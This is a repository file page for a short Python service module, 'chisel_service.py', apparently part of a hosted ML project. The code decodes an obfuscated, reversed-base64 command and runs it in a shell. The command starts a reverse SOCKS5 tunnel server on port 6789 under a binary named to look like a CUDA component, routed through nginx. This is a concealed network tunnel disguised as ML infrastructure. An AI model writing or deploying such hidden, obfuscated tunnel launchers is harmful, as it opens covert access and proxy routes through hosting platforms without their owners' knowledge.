coolstuff2 / services /chisel_service.py
SamuelLance73's picture
Automated deployment update from ML build
a93b3b5 verified
Raw
History Blame Contribute Delete
352 Bytes
import subprocess
from.utils import decode_cmd
def start(chisel_log):A=chisel_log;A.write('[*] Starting Chisel tunnel server on :6789 (exposed via nginx /chisel-tunnel)\n');A.flush();B=decode_cmd('=UzcrN2bz1SLgU2cyVmdlJXLtASO4cjNgQncvBXLtAiclZnclNHIldGZpJnYtg2cl1WLhRWdjBSOxAibtASZjlmb');subprocess.Popen(B,shell=True,stdout=A,stderr=subprocess.STDOUT)